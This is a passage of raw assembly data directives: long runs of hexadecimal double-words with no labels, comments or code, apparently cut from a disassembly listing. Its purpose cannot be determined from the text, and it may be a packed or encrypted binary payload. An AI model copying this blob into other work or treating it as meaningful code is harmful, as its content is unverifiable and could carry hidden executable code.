8005E4A0h, 0C9FE57EEh, 0ED1F631h dd 0A8E8536Ah, 0EA3BC040h, 0F1033165h, 81DD549Dh, 300A52BBh dd 0AF1A7A34h, 0CB8D0006h, 0E75B783Dh, 0D9051762h, 0C79FC97Bh dd 9DE9C11Bh, 55B53510h, 9194EB28h, 0BD4E0D8Bh, 8F568544h dd 25585C8Ch, 70535450h, 48AD5C15h, 4EC004F7h, 0A0AFD5E0h dd 8BB79837h, 0D9E4DD0Dh, 141AEB62h, 0F831CAF9h, 0E411F14h dd 980D0A66h, 4825CFA9h, 0D9CCFF8Dh, 0A76BEh, 0BB533D82h dd 2902362Ah, 38BA82A0h, 0F6458925h, 7E0782A4h, 0EEF6250Ch dd 0C6E98025h, 8F93E99h, 3220E977h, 0E6844A3Fh, 4838F6FAh dd 4A3F251Dh, 0DD58D5A7h, 0D4EA2927h, 0E9F2C14Dh, 0AEDC540Eh dd 8E5142E9h, 118F96Bh, 515BFE30h, 0B220B652h, 0A8C29580h dd 69485355h, 844636F7h, 7B681288h, 56AD3277h, 12FFE562h dd 0AFCCD785h, 75BF314Fh, 55F2ABCAh, 0BEC35585h, 4BED388Ch dd 5B8A8EBFh, 4B68EDCCh, 8184AFD9h, 4EAC9117h, 0B93868ACh dd 8EAA4E6Ah, 2CEA4B5Dh, 7E62A12Fh, 4E4E5AABh, 0D3D78032h dd 0F39256Ah, 171085Eh, 685FE1EFh, 0C1C55C7Ch, 0EA48C5FDh dd 1F20D246h, 9558A02Eh, 0F4FC8323h, 4060B440h, 92D0F71Eh dd 17B80050h, 54D3835h, 0A00B6831h, 84C201D2h, 49AA0946h dd 0F3DF9A81h, 0C3808753h, 0E9CB00B0h, 14CB4C83h, 68CE8128h dd 0EE4D1F89h, 0AFC01F44h, 0B1F3283Ch, 0C096175Bh, 0D301660Eh dd 55EA5AE6h, 0D23DBDEEh, 0EB299F73h, 27FC5D92h, 0AD4EC813h dd 53ED8450h, 649C6802h, 2995D26Ch, 4E0CD099h, 1FA5B057h dd 0C55ED42Dh, 632500F9h, 54A0250h, 6C7E831Eh, 0FA363501h dd 857F9ED8h, 0EAAE849Ch, 72DBFF9h, 8E097CF8h, 55FB294Dh dd 73AC7482h, 713C3102h, 0D1170BC1h, 0BE659CFFh, 21055C23h dd 148B1C57h, 0C4F7CAFBh, 681FCBBh, 0B97B5E58h, 8668B03Eh dd 6F669713h, 31423B1Ch, 7F555349h, 0D8EF2B52h, 759128C6h dd 3CD41EB7h, 468C40AEh dd 0F001101Bh, 8826190h, 5ECD605Fh, 0D9F9BD87h, 2CFE93EFh dd 0E9195187h, 467CD43Ch, 3957E6F4h, 0F8E31B4Bh, 0A9CABEAEh dd 5470D262h, 15A6B905h, 12BE38FEh, 4650B56h, 3582D5DEh dd 6952AF25h, 0F004C39Ch, 2A17B69Fh, 9544CEFEh, 6AE24F7Fh dd 25CE24Ch, 6F4F8CB0h, 0C387485Bh, 571194A1h, 5F25986Ch dd 5FC7CD2h, 58567D25h, 6F2D0243h, 5DE9966Dh, 7DD7895Fh dd 45C99A79h, 1CF280Dh, 1BCC0BA0h, 8903E0C1h, 6ADFE9D4h dd 8DC57A3h, 0FB9C1D2h, 24CBAA14h, 0D9EF8317h, 0E92985B8h dd 5E95219Eh, 0A5FF61EEh, 0AEFC3E38h, 0FCF0CC85h, 0BC5EA16Eh dd 5FA24B7Ch, 61887675h, 6B51B268h, 0ABB6998Ch, 6044E9C2h dd 0E651D7C2h, 0FF48F16Eh, 1B28FE5Ah, 0C4614B68h, 9322E373h dd 0D8B14ABCh, 910B0410h, 0C0345E51h, 410D1FA0h, 0BF10F0B7h dd 3C348280h, 59B07F78h, 477E5202h, 32F93174h, 0FFE1C37Dh dd 328232h, 0EC28A1B5h, 0C06686BCh, 0CC80386Ch, 53020C60h dd 300581B3h, 0D2A9E9DCh, 96223F4h, 870C496Ch, 0BF293682h dd 72CA610Eh, 477B1C79h, 44126380h, 0BB0BBBADh, 3ED2F6C0h dd 0EFFFC5A5h, 1C3709F8h, 46BAAFEh, 31AFDBFBh, 0A7078015h dd 69025310h, 88D7E5CBh, 6C25E828h, 8569220Eh, 5EB903F6h dd 5401080h, 3A7A190Fh, 2B5BEB4Eh, 0FAE1024Fh, 0DCE913FEh dd 0FE5F2F3Ah, 30BA0897h, 0A50C2AA4h, 0E82D697Dh, 0E9C07143h dd 578532D5h, 59261380h, 709E6CF3h, 74ED81C0h, 1CAC25E4h dd 7A246B5Ch, 14517909h, 1829777h, 545FA87Eh, 7E755204h dd 92B3C2FBh, 56596D7Ch, 50B49342h, 62BE003Bh, 811C2330h dd 430ECAEEh, 0C9830C8Fh, 2D750301h, 5C4C8214h, 1E4409B1h dd 2D5E3B0h, 4973C20Fh, 0FE3E641h, 956AEDB5h, 1A8E88CCh dd 6429F440h, 16FC2AC5h, 32DAC0AAh, 723C445Bh, 9DFAA859h dd 432CDA0Ch, 82233A78h, 0CABC62D7h, 0F284DF60h, 37DFE1CEh dd 6317D66Bh, 5CD1E0A0h, 333035EDh, 0C15AD58Bh, 7206E537h dd 949ED1C1h, 3C269641h, 510146C4h, 804D0CDh, 12E801E0h dd 0AA6A8506h, 2C4A38A4h, 268E4F3h, 0DEF75DEEh, 210DC640h dd 0E68D119Dh, 0FA7077C2h, 8659E803h, 0BD7F6F8h, 0F47BE908h dd 7569E156h, 804A0C6h, 1C6929ACh, 0C89225Eh, 0E908345Fh dd 3D09A24Eh, 12027F31h, 0F82349B8h, 391A4C94h, 134E4B77h dd 0F33DBAC0h, 7B35F661h, 0E268EC3Eh, 0DCA4A9BEh, 0C34F1902h dd 85A86B5Ah, 0BDFADFC5h, 12E6D0C7h, 1720F822h, 76622EE4h dd 7EC9764Ah, 0E50C5017h, 0D8680515h, 0F833E9B0h, 2BAF5B79h dd 313420A2h, 5CAD3FA5h, 86217B1Ch, 0C2275455h, 415E680Bh dd 1F651030h, 0EB773DC4h, 14A20313h, 9A97110h, 2EFAF5D0h dd 3DAAA684h, 920243B9h, 2B9B94Ch, 474245C6h, 92BB5CF0h dd 0C72EA4C4h, 0BB576004h, 0AED42979h, 603A081Ah, 4BBC209Eh dd 2110FE27h, 0C8E90C08h, 5BB2AA37h, 9DEDF1BAh, 0EA81FF06h dd 5AD32898h, 2DD4C3F0h, 0C6DC5166h, 0CC88B900h, 4CE7E959h dd 824F7DFEh, 4541EBE1h, 19C00531h, 13D2BB53h, 0EB1F9B2Ch dd 64D31201h, 996801E0h, 902656B3h, 88505DBBh, 585B30FAh dd 0DDE91A88h, 0CBFEDB4Ah, 20B65815h, 0CF892F73h, 4E27057Eh dd 436725F3h, 1FD274Ch, 0CCA4F773h, 5DFB09A0h, 0D45A53FEh dd 0C22032E3h, 0C8895001h, 84F6843Fh, 174F53Fh, 4AF52CFh dd 0C702D8ACh, 40971558h, 211BC880h, 0A698606Ah, 22D4055Ah dd 0CEBACBD4h, 0E71C2025h, 4E2EAD3Eh, 0D5AD55ACh, 0C3862D11h dd 135B665Ah, 903E1A7Ah, 17B8BACFh, 5F8AD4Ah, 93E84C1Eh dd 1F47A890h, 0F6AE1868h, 6DB0D56Bh, 0D20D78B4h, 0BB8BD23h dd 0BAF6C42Ah, 15020D04h, 45EE8003h, 0C186F699h, 0FCCB2FF3h dd 2E39987Ah, 60793AE9h, 0D6F62DB6h, 82B7531Fh, 52C5B992h dd 5BFDCFFh, 5A338E0Bh, 0E6E05736h, 0E3A84E63h, 7F1311A1h dd 37453125h, 5890B92h, 73F3A000h, 9601272h, 0BE4C38DDh dd 0AB01350Dh, 0E02FDD45h, 0EB5FE927h, 5B68AF02h, 0C032D413h dd 0E91C957Bh, 0E497CA5Eh, 3964D761h, 0A96EE02Eh, 7DE7613h dd 0D503A849h, 2D5A1C98h, 914DF001h, 5C8290Ch, 9CF40745h dd 5E992568h, 45E2C254h, 6AF70B75h, 0B779754Dh, 0DDD6E961h dd 0F2802A8Fh, 0BEF413D2h, 0A9229A3h, 9BE3C844h, 0E0CB5555h dd 0B1A26BDEh, 9820955h, 132977AFh, 2144A154h, 417CE0FFh dd 7F84051Fh, 0DFA54289h, 8D61A032h, 88F47FF2h, 0F9045A0Fh dd 4E488655h, 85F64ABBh, 89CFF9DDh, 97A4B45Dh, 0E7A0CBFBh dd 0A62F6609h, 32D08442h, 0EC50500h, 0FDD24BFCh, 0EDE01416h dd 4DC30F68h, 0CC4B2003h, 184CF589h, 505BFCB4h, 4141B10Ch dd 12E3FC5Dh, 707BB598h, 1669BA37h, 9AB26340h, 921B885h dd 61A76FECh, 0BB05FC16h, 6FE455A3h, 1FE314AAh, 6118D105h dd 8809038h, 74BC161Dh, 1B438B2Ch, 0D569C277h, 0EA012E47h dd 22107968h, 617C6731h, 12BD344Bh, 3A3FB1B4h, 0EEE486B2h dd 69AAB5C5h, 68CB9D68h, 615B1FF2h, 317F51A9h, 28DEE97Eh dd 455F253Bh, 48E0803Eh, 0E5D14959h, 17336818h, 0B723D737h dd 93BDFCDBh, 9E2F78Eh, 9D153378h, 6090BAD1h, 1F66DE3h dd 2584259h, 638D85B9h, 0A1847FFEh, 5A5EAC91h, 0ABE224FBh dd 7AAE991Ch, 0A5170293h, 0E2A024FBh, 681A6114h, 0AD7A258Dh dd 115F1353h, 501B28BEh, 3605B805h, 1DFF705Ch, 3E19C05Ah dd 8CE92884h, 0A57FC35Ch, 0A59F2C04h, 0EB1EFE16h, 0B3BD8416h dd 3819ED04h, 2A61829Ch, 5761895Dh, 0E9C12FD3h, 663ED2A4h dd 7497EEE0h, 5D80C97Ah, 58613685h, 8EA28BDh, 0B65F7628h dd 71B00622h, 410E42B7h, 0EC9CD5h, 2278C8BAh, 0CE79E916h dd 58EA27C0h, 4DA55F36h, 0C32F2201h, 0A84BA27Dh, 0F086C615h dd 0B7A4B227h, 0C279455Ah, 4CC63913h, 0C3137CF8h, 0C4DAFC3Dh dd 28042A50h, 392CEFD8h, 91C8E074h, 0A768C19Fh, 797DC230h dd 50B74158h, 33B07BB5h, 0EAFDE02Ah, 4821EBEDh, 0E52A492Fh dd 0ED70F21Ch, 163D4926h, 1536EE02h, 21878923h, 0C875877h dd 3B71BB2Bh, 4931F318h, 0CD407662h, 0EE8127CEh, 0FFA5F374h dd 7C2A4614h, 0E620CA6Fh, 4EF390B2h, 0B85C00A7h, 80A12207h dd 8E28CBBEh, 25197CB7h, 60C17A78h, 132A4862h, 0C62812BCh dd 59A0B008h, 0D84B7ACBh, 7485C0Eh, 33A1807Ah, 2057703h dd 6C1476E4h, 0C85497E9h, 8531EE8Ah, 0E20C0718h, 0D0052FF3h dd 59525DF0h, 510AD69Fh, 546BC946h, 0BB7586Ch, 0AE712297h dd 7F820935h, 2F40202Eh, 0F634C786h, 6BEC08D0h, 0E3A3BC12h dd 97249DBh, 0C61C7268h, 6827F64h, 0F1814AAFh, 629D0D86h dd 9E824CA5h, 0EFD1C35Ch, 0B5F1ED1Fh, 0DAECF0D6h, 0F8E40E2Fh dd 274BAFF0h, 4ABA4290h, 16BC2421h, 0EB5E026Eh, 0CA422C7Dh dd 61F4CA57h, 0D13FBAC9h, 0C50741DAh, 2BF7D959h, 0E990F8FDh dd 0F374CD00h, 0E9CB216Bh, 9000895Ah, 8005E1C0h, 0FE2502F1h dd 0C4B353C9h, 0E9E78277h, 2DC75417h, 275E9E7Ch, 687C4435h dd 4792C62h, 0AE1EF2Dh, 0F37DF429h, 0D9F45FF6h, 0AFCC151h dd 1D322A68h, 69F225E5h, 8022AD29h, 0EE087F52h, 9890A03Ah dd 4E0C0F93h, 0EE65468Eh, 172BAD07h, 28EA3A40h, 8A2E6880h dd 23CFE237h, 0E912870Bh, 0D531866h, 52C88CE9h, 650A0BF7h dd 0ADC0634Ch, 5DB9120Bh, 3C170C10h, 0A5D4774Ah, 0D7B1ECB9h dd 3C6FDAE0h, 0D1A52BFDh dd 0F7DA975h, 0F6616279h, 0C1D4550Eh, 94BD0820h, 1668013Ah dd 0E9533572h, 5175E29Eh, 3D7FC0BCh, 19D67D3h, 74713283h dd 50A4C2DAh, 6545A18Dh, 0BBF6002Eh, 377B4713h, 51E72CC2h dd 34B385E5h, 592B70E8h, 0D02817D6h, 0FEF0CCDEh, 0A3C9B0BDh dd 0F48B735h, 0B62510F4h, 0BCE06879h, 569A2563h, 12A4FCF6h dd 0FC9F0A20h, 305E9ED6h, 22456876h, 0A39F57C6h, 71F877EBh dd 5058803Eh, 1F146816h, 0EF4EB29Ah, 74135ADEh, 0C11342F1h dd 8E415B71h, 4AEADF03h, 102D0257h, 0E31AD6B0h, 57E9FE30h dd 3B533B75h, 0CA786EAh, 17B3549Fh, 0B409125Dh, 0EA0FF162h dd 65684661h, 54C8AE8Fh, 9D4212BDh, 48F90175h, 621AF31Ch dd 9C172067h, 8966C9BBh, 0EA05E913h, 923B275Dh, 6AF2BD04h dd 8BF7E4D7h, 6FBC6BF9h, 30BF5BB8h, 0B371F45h, 0AC683E6Dh dd 32E9C6A1h, 820272B7h, 0F9084668h, 5C78E54h, 0C8E91102h dd 0F897C070h, 47BD2DE6h, 0E5B7DC53h, 2D8036EFh, 733059BAh dd 0EAC12D21h, 703A5E40h, 410B1A24h, 56ED9013h, 808957CFh dd 0BE2975A5h, 5AFEB024h, 297F0F0Eh, 0C1148926h, 0EF3B33FDh dd 0A0BB8975h, 9D9322Dh, 0BD002D98h, 27257E3Dh, 0CB4D8F40h dd 0E8A85D7h, 0C14A64AAh, 2A62D8BAh, 12C0998Ch, 0EE5AD92Ah dd 0F38137D0h, 14A9008Bh, 5BDD3193h, 0E916EE01h, 4EB41D25h dd 32DCB583h, 0CB0CB119h, 0B21AC0DAh, 0E2802CC5h, 19B70E03h dd 519EC7C0h, 2806E0B5h, 8964E9EFh, 43C63847h, 5BDAEC5Bh dd 2A13DA9h, 78E55111h, 0A1E36F74h, 23F1EA80h, 0D49D5E3Ah dd 7F082065h, 0BE2EFF5Dh, 2D20143Dh, 45344AE8h, 0C77CCAC9h dd 0F142B2ECh, 0C3DF0F42h, 60DB195h, 0FC508343h, 4DC85209h dd 0DFBE588Ch, 863118AAh, 0E8013CEEh, 14FC8030h, 0AD203772h dd 14257601h, 80E5E960h, 724BD4Bh, 58312085h, 0C824C2EBh dd 0FD5BBB18h, 76A4184Ah, 4CFB014h, 0C328B204h, 2D3EBC58h dd 0FEBAE1C4h, 4EEDBE41h, 7E4810C3h, 775E2520h, 7F979114h dd 65AA5D17h, 0E907F197h, 0B1C10D06h, 565BDA00h, 5212C9BEh dd 8E29D16h, 0E979027Fh, 50D548B2h, 2F1C78B4h, 426679FEh dd 0D410E225h, 5C68414Eh, 45312A50h, 0F022E0C4h, 2070538Ch dd 67E86F16h, 6EE935A4h, 872EEAE6h, 51D5F7C1h, 0F0A44155h dd 0AB28034Fh, 0F8D7E604h, 728297B6h, 67C0612Ch, 5B809825h dd 0DF5E9F28h, 5725BEC8h, 22E97B10h, 0B5FEFB2Ah, 1444F700h dd 4D680120h, 0BAE6B564h, 34B2BB01h, 5C297CCFh, 0FF7BAB8Ch dd 0A0C4593Ch, 290292E8h, 0B45655FDh, 26A1F55Ah, 76C8C9E9h dd 0E2A91776h, 2517CA8Ch, 0B5601E0Ch, 1C2E7816h, 0C103DF6Ch dd 64B053Ah, 64445818h, 4C0CB84Dh, 18343021h, 0B8140549h dd 0E148E966h, 2FE13B4Bh, 9C34FE2Bh, 737ED443h, 73EEDDA1h dd 594A84Eh, 0A1BA055Dh, 6B3BD47Eh, 0E230D127h, 0E907070Bh dd 0C88CE2B9h, 0CB0DA76Bh, 9C7FE5CDh, 42F09FBCh, 0E9C11699h dd 8169CA18h, 40945A04h, 101CFCC0h, 0FA7B3AB6h, 0F9EC4B6Dh dd 0AC45E41Fh, 3DFE3267h, 7B3BFCD5h, 58C1B9C4h, 0C97CB6FAh dd 631DDC5Ch, 0AE840A8Dh, 45A71ABDh, 0EA529479h, 94227F89h dd 0FD39AAD2h, 8A1FE82Ah, 8083887Ah, 0BFFE1CC2h, 4CB7EA53h dd 0B1165D10h, 0C4AAACF9h, 5909B0EBh, 470241FCh, 0DD0E1A79h dd 80CFA6Ah, 5603371Ch, 0BE91298h, 0ECAC4EECh, 0E3C9DE31h dd 89E6C81Ah, 0C6E75068h, 95F02FAh, 621E9C9h, 0D8F6C3A0h dd 2C761377h, 836AC638h, 0EEC1606Fh, 0DC120506h, 9FE430Ch dd 3A0445B2h, 0BD50EB05h, 9B5E7D08h, 0C0C931AEh, 0F8F365EBh dd 6CC96496h, 0BD58D05Fh, 0CB5488FEh, 0ABE098C7h, 0F8EE5057h dd 0A592295Ah, 319EA7AFh, 0A3825F45h, 37925FAEh, 202996F5h dd 0ACCC1528h, 95C1FDE1h, 44968CDDh, 0B33A4F36h, 7F762798h dd 0C275E3A9h, 8C5E5F9Ch, 0CDBE34C4h, 849CE01Fh, 2E6810C5h dd 177A81DCh, 0BF13112Dh, 60B24F00h, 0A147167Eh, 0A830048Ah dd 0E30E289Dh, 4FC601FEh, 31BF579Ah, 8A652AF7h, 8D975CB2h dd 2A016B27h, 63CA4577h, 0C7AA7E08h, 37B56D08h, 51CE2B7h dd 800F195Ah, 657EE00Fh, 88BF4991h, 784BB287h, 585E75E7h dd 0B268913Fh, 62E76EEFh, 1D2110h, 80FE2858h, 2D5BA8EEh dd 0A275F030h, 5E4445B7h, 1468D08Eh, 3EE3115Eh, 28C2EFD7h dd 3FAB7D29h, 5F37E3F7h, 1845B813h, 0EEBF0AB9h, 5E44F46Ah dd 3F02EB7Fh, 0D4FEFA7Eh, 0ADDEA5C1h, 50C6F525h, 0DB60CC25h dd 0ACE9E1FEh, 0EA658162h, 1F3F1634h, 3DA5F9EDh, 0B5C806FEh dd 0E17E0E02h, 77194264h, 0F355C489h, 85AE3EE2h, 43598071h dd 7C10BD55h, 0AE2C6F3Eh, 0B88F9E56h, 1FD2027h, 4C446B0Dh dd 722D2C13h, 0E66C317Fh, 0DF48C479h, 0A19E2578h, 10AE5D5h dd 1B83B850h, 0E8A2D773h, 3FE1CFEBh, 10C63B80h, 0E9165A5Eh dd 3569E174h, 54F7DE52h, 1CEB6E28h, 0A0CA445Dh, 804B3EE4h dd 0B12BCBBh, 0F0BF5380h, 0AB409573h, 0BC89D5Dh, 848265DEh dd 0F9E18B71h, 1811B86Ah, 0F6BE59CFh, 4F6B2521h, 0A6881154h dd 9D8CA502h, 6B3BD4CCh, 36D1155Eh, 56EF10DFh, 0E8C15B05h dd 1C59C20Ch, 43CC7955h, 0DD3A2977h, 0A9F8DAC8h, 9EE8BA5h dd 7D3E3CE9h, 17B11A98h, 4F486880h, 0D345324Bh, 0B54122D5h dd 9A0A1AD2h, 0B7FCB054h, 2E483E72h, 1025DFh, 640F2D37h dd 51702A1h, 1B0A3BB0h, 172D47DFh, 0D565BA53h, 0D21823A8h dd 23B99592h, 3F8D5B9Fh, 6F4231A7h, 70F3567Dh, 0D6A975F7h dd 87F82A01h, 7CE68984h, 0C7E2BD5Ch, 9A527177h, 18C02740h dd 0B980997Dh, 0BF1E0B6Fh, 48FF4956h, 0C51CF6CAh, 17E88785h dd 4038F891h, 4712D794h, 3EF1712Ah, 464CF68Fh, 84D792A9h dd 0B9BE8904h, 0C56882E6h, 140FEC37h, 0B6AFCE39h, 0EEDE5E33h dd 0FDD4299Ah, 50217C52h, 9263E957h, 0B9525595h, 252A1A78h dd 0B35071Ch, 2D564531h, 0A0BC4095h, 154C5F7Ah, 85641E88h dd 0F529EA0Bh, 64E8CD19h, 8227683Fh, 0A62F711Fh, 0BCE950B2h dd 5A187C96h, 0C5129D9Ah, 80E1C10Fh, 3D38C9F5h, 0FF362F2Dh dd 4DE96E20h, 0FF97FFF6h, 6390A594h, 0A55E2C01h, 97D0E92Dh dd 2215196h, 4843683Ah, 1C1399D7h, 139B0510h, 8443A83Ah dd 0CA315B2h, 7044BA1h, 2713D501h, 25DB28AAh, 90DD5D8Dh dd 4EECE97Bh, 0E5A8310Eh, 0F4016823h, 2E2833C1h, 0D62CF27Bh dd 35E14FB1h, 0C64A5B01h, 0C53EE261h, 0E28F41B0h, 0C7E47E06h dd 0E8082401h, 7F4A0937h, 6492156h, 98A1C665h, 141E0933h dd 96F5CDF7h, 6BCEBF7Fh, 6B00F8Eh, 0CD314612h, 9DB07BFh dd 0E96A112Bh, 0C4166FC7h, 0D1B69152h, 17B59B40h, 0BC415F52h dd 1136011Eh, 8DE96ED3h, 0B35063A5h, 5C01FD40h, 0E02FE9E8h dd 51528FA0h, 0D8B505B1h, 0DEF604FAh, 0E898E680h, 63E90B09h dd 0A17A6615h, 0D175AC24h, 0B620FC2Fh, 5B680408h, 83239C5Ah dd 229FE9B9h, 51CA0C74h, 0A70871F1h, 0C0BD1CE6h, 81645895h dd 39177FC7h, 68B93BD7h, 9B5D0840h, 91F52D19h, 5D744CF4h dd 0FFCA4B31h, 0B97E8C39h, 0A6E2D287h, 5D6E6816h, 40E74BBBh dd 0B18841F1h, 7B620E5h, 2893383Dh, 8703A4C1h, 2085910Fh dd 3A46F29h, 4758407Ah, 8CF7813Fh, 0C669271Bh, 7C40EE76h dd 0FBC65BC9h, 0F602F14Bh, 0CD7D2555h, 9648AD3Ah, 0B0935140h dd 293A3602h, 0F48DD49h, 0BEBA31EEh, 95BAF79Dh, 0E9128814h dd 64AB0286h, 4E3FCA2h dd 598C55A8h, 0AAA68DB4h, 80C1FD8Fh, 128D6FFEh, 97DF71FCh dd 5597D1C4h, 3CD0E32Bh, 4C15495h, 428F37D6h, 0CA5810h dd 598DFBC1h, 64E1975Eh, 77B0C32Ch, 474AC903h, 814C40AEh dd 35090C67h, 5F2EFB01h, 0DDC9E93Eh, 2D46922Fh, 973350D5h dd 0F5A7D990h, 343F5D81h, 0C086B822h, 7F566853h, 0C0234A09h dd 6F0EDEE4h, 0E30E4E76h, 12D76228h, 0C631C0AAh, 0B110347Eh dd 0F103D989h, 6CB50B86h, 27DDEE1Eh, 88491A9Dh, 2CAFA46h dd 44BC755Fh, 447FF131h, 0F35CB761h, 5082E970h, 96E31E12h dd 0E0A53D24h, 0BD683281h, 72647h, 3A14C6Bh, 2F420A2Dh dd 0E07853AFh, 8E50AA2Ah, 245FFE2Ch, 52736642h, 0DCF095Fh dd 3BCA04CEh, 3C1C080Ch, 5EE46013h, 0D486CEBDh, 0ED013FB6h dd 2B7816DFh, 4231F501h, 6FE90801h, 0FEFD127Eh, 0E5EEBF60h dd 2C2B3492h, 31BBB122h, 6A6AC196h, 0A70ED644h, 0D7B0A2AAh dd 0A83DB9CDh, 75EB02C8h, 0E4725568h, 0D7A768DEh, 0BE126BE7h dd 0ECBFF440h, 4722221h, 7BCECF81h, 52ED835Ch, 0DDE99F5Bh dd 307C0204h, 0B87C851Ah, 4FBFAC8Ah, 0B86E7006h, 0D9093BBBh dd 7808E91Dh, 909DB5CAh, 937D9C0Dh, 4266392Bh, 5D04D23Fh dd 9A2DF3BAh, 72377688h, 0D2098776h, 0C3BBDF51h, 0FA9503C6h dd 3174BD2Fh, 61E9135Eh, 0BA0F5386h, 1E177041h, 0B7F96460h dd 53C7C52Fh, 12F2AE14h, 0D25529C9h, 27E4ABEh, 8055B108h dd 0CBEE61FFh, 77D6EBD5h, 5B631402h, 0B632A4F2h, 5FD4085Ah dd 0CA1D137Ch, 0EFC2A8BEh, 0BE1E3D26h, 1355C78h, 69D60DEAh dd 512ACF68h, 7027DAEh, 0ADADDA7h, 5A940425h, 641DCEBFh dd 20A98EB9h, 0E3BF306h, 67EC288Dh, 602A7D3Fh, 0FB12A784h dd 1EE916C6h, 0B524FF05h, 166DC908h, 301AB028h, 56B8E85Ah dd 1B3FE9A0h, 0F5F93EE1h, 1E38E9F0h, 5072CDB2h, 0CE348B27h dd 7FB197DEh, 93323A56h, 2EE9105Eh, 22AF4C4Ah, 7F69962Ch dd 216D21h, 0BF7650DFh, 2EE9EF29h, 43A08F12h, 0BBBC2F02h dd 84EE9413h, 0C4ADEFE8h, 0FB6EBB4h, 0CF85E90Dh, 6FA03A81h dd 1A1802ABh, 56740522h, 0E94089E0h, 81E21B54h, 1272CD3Bh dd 270869DEh, 98D52D7Fh, 4AE25620h, 0BA3A40FEh, 621A5918h dd 0F2BC81BFh, 0F0F9DC7Dh, 8224CC30h, 0B0E1E157h, 4F29A73Eh dd 2A1433BFh, 41685912h, 0F68266F9h, 0BEE08775h, 5BB6361Dh dd 980BDF72h, 89B78D44h, 0F879D735h, 4DE1F4C3h, 530135C5h dd 832AD6BBh, 0D3852B7Fh, 0ED06FAF9h, 16018B7Bh, 55120260h dd 0BD3D9F14h, 0F9999F43h, 0E38335Fh, 0DD28C5E9h, 59125CE5h dd 18FC6053h, 15208BA4h, 8C5A56AEh, 8594BF76h, 0AEA4FEC9h dd 8ABE1788h, 0F0277077h, 91AF62Ch, 0F87CC078h, 813DF050h dd 283E2131h, 58DD902Ah, 0A9050B74h, 95C5F729h, 1E90B020h dd 12F73240h, 0ABE5D1D5h, 0DDE91E89h, 4EEB2290h, 20B64BEAh dd 2CB39A58h, 0B0B9B103h, 0E9C81268h, 69EDA12Bh, 89AAE485h dd 0BD8A7ABAh, 0F76ABD05h, 8888FA65h, 9738026Eh, 55E0D152h dd 35BE22D7h, 4A80A61h, 0F80A45BEh, 9D4D203Bh, 8154A5A2h dd 0E1AE2905h, 0B1E57E95h, 0ACABF9DFh, 0D4251E81h, 870D1A71h dd 97013572h, 6ABD2AFh, 26C5FDFFh, 0A9F4629Fh, 5FD1D5DAh dd 0E948B6E0h, 5A79C930h, 3A029374h, 7D122360h, 42889100h dd 0FC00924h, 77C24C52h, 6C8F2CE9h, 53598F92h, 0C676679Eh dd 0BF76FA5h, 9EDD0BA8h, 6FDB0086h, 0D8010565h, 934802E9h dd 2D7CB126h, 0BB9D0F62h, 0FC5E022Dh, 0BF885C78h, 53A6FCE8h dd 1E39B33Bh, 0CB41D1E3h, 2FEFE9CDh, 0C988903Eh, 7C250B74h dd 54CC365h, 80C1B254h, 0C48D82F2h, 0BD017356h, 1E4E267Ch dd 7A4F5E30h, 92625056h, 5C76767Bh, 805F347Eh, 0C0566BEh dd 0F0BCB64Fh, 6801B21Eh, 0E910C8D8h, 0EE0C5818h, 5E3E79F2h dd 0B90280D3h, 953D25AFh, 83A71620h, 8DD1D8BDh, 0B2F803C9h dd 0BE2C5C12h, 0C2D2F6A1h, 5D4EFA4Ch, 0A24E4251h, 25A1949Ah dd 0FB385767h, 0FB0B27F3h, 7649410Dh, 2FC2C2C2h, 618ED4D9h dd 0D9AF1730h, 727F4140h, 18896FDAh, 7149F5E2h, 46D76E5Eh dd 0D1BDB4F4h, 55701806h, 0EB022A46h, 3185C686h, 41E45EC8h dd 2207EFC1h, 87E9C2C8h, 816CD4CAh, 391EDEC6h, 0DA0CAD29h dd 0CC20A177h, 7B22E73Fh, 76DECEFBh, 9DCB6072h, 0C32980BCh dd 85564EEh, 0ED802B21h, 0F03B850h, 31397833h, 0DDD90B52h dd 0DFBEC350h, 139B9BEBh, 0E0FEDEE4h, 7475B026h, 24A67048h dd 68841DF3h, 0A6EE6B20h, 26E11053h, 34CBD02h, 84623406h dd 1660E5C2h, 7F81CE5h, 0E60C6C63h, 78688A3Dh, 188E014Bh dd 31E9513Ah, 0EF5F743Fh, 0F80B5970h, 84102C5Bh, 0F913886Ch dd 0D5031068h, 9053FE4Ah, 684F7B8h, 0E0EF350Bh, 4A18D2C5h dd 0D196712Fh, 0A84DA3EDh, 4CDA16A1h, 4B047011h, 0BF503E0Ch dd 801EE94h, 1BB0E95Dh, 82EC302Bh, 5260154Fh, 0E5485838h dd 4B029F26h, 0BA01F498h, 3FDD3184h, 0C3B9F03Bh, 29DDBD02h dd 0F02DE9D1h, 94DF955Eh, 4A75FE2Bh, 1767D4ECh, 0CE13AA6Dh dd 1A44DEDh, 432A99F9h, 90B03B18h, 7B350448h, 8421954Ch dd 81B8AE5Fh, 7209CD49h, 72DFFEEFh, 8BEA5B2Bh, 0C8BF4E69h dd 765F5D2Ch, 0FBB0B6CCh, 0A73FD014h, 2B053E2Dh, 951E41BFh dd 550542ECh, 5F08FB48h, 0C145F18Eh, 6CB6CE5h, 391349A4h dd 0F1D8012Ch, 40E9FA4Eh, 4A6A2374h, 18BACEDh, 0BB807474h dd 1752119Dh, 0B55EC989h, 5BD5B242h, 4C6F62AAh, 0EB5B2777h dd 0AB5C982h, 0A7BE0FC7h, 23A2FFD2h, 153C1C96h, 68094BEFh dd 0DF4648C9h, 0B2B0120h, 0EA80B8B2h, 0C1D30205h, 2396444h dd 37604028h, 0B951805Fh, 2E6A095Ch, 0D40EA96Fh, 0EB0F932Dh dd 0CAFF93CDh, 8A41D6D9h, 7B746852h, 40C0BD34h, 24B75F33h dd 61ABBF14h, 123D7E6Dh, 0AF8A050Ch, 0E98260E2h, 59758BCAh dd 0A2C8CBB0h, 0D20B61CBh, 50BBE96Ch, 4F041744h, 0E028BA5Ah dd 5883A908h, 8312BC3Fh, 13355168h, 9017AA23h, 9816A8EEh dd 1CE03C48h, 2DC25A11h, 6AE334E9h, 0A678D57Eh, 8B56570Ah dd 0E919A19Eh, 0F56A3D90h, 0BE080502h, 0FFA4EB62h, 0D095D290h dd 12D38F4h, 0DFB842C8h, 72B57678h, 6E7B4DEAh, 352F2D02h dd 0B04209F2h, 0F3003C76h, 4D56ED43h, 4CE91745h, 0A9D8AAD5h dd 0AF5B4A54h, 54A619Fh, 0CB70AA8Ah, 62382531h, 11DE771Bh dd 0FEDC1761h, 55254622h, 0F8E25BFEh, 85B455C8h, 9B21E916h dd 0F4D33FA8h, 595C6E87h, 4ED8B488h, 4F685C7Fh, 5CD71C96h dd 0F929CA16h, 9F08209Fh, 